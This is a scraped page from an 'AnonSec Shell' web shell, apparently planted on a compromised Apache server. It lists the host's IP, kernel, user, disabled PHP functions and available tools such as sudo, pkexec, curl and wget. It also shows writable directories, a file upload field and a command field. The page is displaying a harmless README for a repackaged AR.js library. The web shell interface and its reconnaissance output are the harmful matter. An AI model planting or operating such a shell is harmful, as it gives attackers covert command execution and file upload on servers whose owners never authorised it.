AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.114
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/marisol/AR/three.js/contribs/portableAR.js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/marisol/AR/three.js/contribs/portableAR.js/README.md
# AR.js repackaged to be easy to port

This is a repackaged AR.js specifically repackaged to be super easy to port.

There is a [babylon.js example](examples/babylon.js/)
([demo](https://jeromeetienne.github.io/AR.js/three.js/contribs/portableAR.js/examples/babylon.js/basic.html))

# How to use

First create the class

```js
// create a portableARjs instance
var portableARjs = new PortableARjs(webglCanvas, {
	// debugUI : true,
	// renderThreejs: true
})
```

Second update it on every frame

```js
// on every frame, be sure to update portableARjs
portableARjs.update()

// now portableARjs.cameraProjectionMatrix is the projection matrix for the camera
// - it is a matrix4x4 as an Array(16)

// now portableARjs.cameraTransformMatrix is the tranform matrix for the camera
// - it is a matrix4x4 as an Array(16)
```

Anon7 - 2022
AnonSec Team